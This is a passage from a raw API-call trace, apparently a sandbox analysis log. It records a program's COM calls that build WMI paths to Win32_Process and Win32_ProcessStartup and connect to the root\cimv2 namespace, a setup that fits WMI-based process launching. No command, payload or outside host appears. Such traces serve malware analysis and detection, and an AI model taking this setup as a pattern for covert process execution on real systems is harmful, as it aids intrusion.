pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0057.633] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0057.633] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a1c0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0057.633] WbemDefPath:IUnknown:Release (This=0x116a1c0) returned 0x2 [0057.633] WbemDefPath:IUnknown:Release (This=0x116a1c0) returned 0x1 [0057.633] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0057.633] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0057.633] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a1c0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x116a1c0) returned 0x0 [0057.633] WbemDefPath:IUnknown:AddRef (This=0x116a1c0) returned 0x3 [0057.633] WbemDefPath:IUnknown:Release (This=0x116a1c0) returned 0x2 [0057.633] WbemDefPath:IWbemPath:SetText (This=0x116a1c0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0057.633] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a1c0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0057.633] WbemDefPath:IWbemPath:GetText (in: This=0x116a1c0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0057.633] WbemDefPath:IWbemPath:GetText (in: This=0x116a1c0, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0057.634] WbemDefPath:IWbemPath:GetInfo (in: This=0x116a1c0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0057.634] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a1c0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0057.634] WbemDefPath:IWbemPath:GetInfo (in: This=0x116a1c0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0057.634] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0057.634] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0057.634] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0057.634] IUnknown:Release (This=0x111f638) returned 0x1 [0057.636] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x11d4e90) returned 0x0 [0057.636] WbemDefPath:IUnknown:QueryInterface (in: This=0x11d4e90, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0057.636] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11d4e90, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x116a280) returned 0x0 [0057.636] WbemDefPath:IUnknown:Release (This=0x11d4e90) returned 0x0 [0057.636] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a280, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x116a280) returned 0x0 [0057.636] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a280, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0057.637] WbemDefPath:IUnknown:AddRef (This=0x116a280) returned 0x3 [0057.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a280, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0057.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a280, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0057.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a280, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x11d4ed0) returned 0x0 [0057.637] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11d4ed0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.637] WbemDefPath:IUnknown:Release (This=0x11d4ed0) returned 0x3 [0057.637] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0057.637] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0057.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a280, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0057.637] WbemDefPath:IUnknown:Release (This=0x116a280) returned 0x2 [0057.637] WbemDefPath:IUnknown:Release (This=0x116a280) returned 0x1 [0057.637] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0057.637] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0057.637] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a280, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x116a280) returned 0x0 [0057.637] WbemDefPath:IUnknown:AddRef (This=0x116a280) returned 0x3 [0057.637] WbemDefPath:IUnknown:Release (This=0x116a280) returned 0x2 [0057.637] WbemDefPath:IWbemPath:SetText (This=0x116a280, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0057.637] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a280, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0057.637] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0057.637] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0057.637] WbemDefPath:IWbemPath:GetInfo (in: This=0x116a280, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0057.638] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a280, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0057.638] WbemDefPath:IWbemPath:GetInfo (in: This=0x116a280, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0057.638] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a280, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0057.638] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0057.638] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0057.638] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.638] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0057.638] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0057.638] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0057.638] IUnknown:Release (This=0x111f638) returned 0x1 [0057.640] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x11d4f10) returned 0x0 [0057.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x11d4f10, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0057.640] WbemDefPath:IClassFactory:CreateInstance (in: This=0x11d4f10, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x116a340) returned 0x0 [0057.640] WbemDefPath:IUnknown:Release (This=0x11d4f10) returned 0x0 [0057.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a340, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x116a340) returned 0x0 [0057.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a340, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0057.640] WbemDefPath:IUnknown:AddRef (This=0x116a340) returned 0x3 [0057.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a340, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0057.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a340, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0057.640] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a340, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x11d4f50) returned 0x0 [0057.640] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x11d4f50, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0057.641] WbemDefPath:IUnknown:Release (This=0x11d4f50) returned 0x3 [0057.641] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0057.641] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0057.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a340, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0057.641] WbemDefPath:IUnknown:Release (This=0x116a340) returned 0x2 [0057.641] WbemDefPath:IUnknown:Release (This=0x116a340) returned 0x1 [0057.641] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0057.641] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0057.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x116a340, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x116a340) returned 0x0 [0057.641] WbemDefPath:IUnknown:AddRef (This=0x116a340) returned 0x3 [0057.641] WbemDefPath:IUnknown:Release (This=0x116a340) returned 0x2 [0057.641] WbemDefPath:IWbemPath:SetText (This=0x116a340, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0057.641] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a340, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0057.641] WbemDefPath:IWbemPath:GetText (in: This=0x116a340, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0057.641] WbemDefPath:IWbemPath:GetText (in: This=0x116a340, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.641] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0057.641] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0057.641] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0057.641] IUnknown:Release (This=0x111f638) returned 0x1 [0057.642] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x11d5050) returned 0x0 [0057.643] WbemLocator:IUnknown:QueryInterface (in: This=0x11d5050, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0057.643] WbemLocator:IClassFactory:CreateInstance (in: This=0x11d5050, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x11d5070) returned 0x0 [0057.643] WbemLocator:IUnknown:Release (This=0x11d5050) returned 0x0 [0057.643] WbemLocator:IUnknown:QueryInterface (in: This=0x11d5070, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x11d5070) returned 0x0 [0057.643] WbemLocator:IUnknown:QueryInterface (in: This=0x11d5070, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0057.643] WbemLocator:IUnknown:AddRef (This=0x11d5070) returned 0x3 [0057.643] WbemLocator:IUnknown:QueryInterface (in: This=0x11d5070, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0057.643] WbemLocator:IUnknown:QueryInterface (in: This=0x11d5070, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0057.643] WbemLocator:IUnknown:QueryInterface (in: This=0x11d5070, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0057.643] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0057.643] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0057.643] WbemLocator:IUnknown:QueryInterface (in: This=0x11d5070, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0057.643] WbemLocator:IUnknown:Release (This=0x11d5070) returned 0x2 [0057.643] WbemLocator:IUnknown:Release (This=0x11d5070) returned 0x1 [0057.643] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0057.643] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0057.643] WbemLocator:IUnknown:QueryInterface (in: This=0x11d5070, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x11d5070) returned 0x0 [0057.644] WbemLocator:IUnknown:AddRef (This=0x11d5070) returned 0x3 [0057.644] WbemLocator:IUnknown:Release (This=0x11d5070) returned 0x2 [0057.644] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a340, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0057.644] WbemDefPath:IWbemPath:GetText (in: This=0x116a340, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0057.644] WbemDefPath:IWbemPath:GetText (in: This=0x116a340, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0057.644] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x11d5090) returned 0x0 [0057.644] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11d5090, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x11c82e0) returned 0x0 [0057.833] WbemLocator:IUnknown:QueryInterface (in: This=0x11c82e0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11dee20) returned 0x0 [0057.833] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11dee20, pProxy=0x11c82e0, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0057.833] WbemLocator:IUnknown:Release (This=0x11dee20) returned 0x1 [0057.833] WbemLocator:IUnknown:QueryInterface (in: This=0x11c82e0, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11dee60) returned 0x0 [0057.833] WbemLocator:IUnknown:QueryInterface (in: This=0x11c82e0, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11dee20) returned 0x0 [0057.833] WbemLocator:IClientSecurity:SetBlanket (This=0x11dee20, pProxy=0x11c82e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0057.834] WbemLocator:IUnknown:Release (This=0x11dee20) returned 0x2 [0057.834] WbemLocator:IUnknown:Release (This=0x11dee60) returned 0x1 [0057.834] CoTaskMemFree (pv=0x11cd070) [0057.834] WbemLocator:IUnknown:AddRef (This=0x11c82e0) returned 0x2 [0057.834] WbemLocator:IUnknown:Release (This=0x11d5090) returned 0x0 [0057.834] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0057.834] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 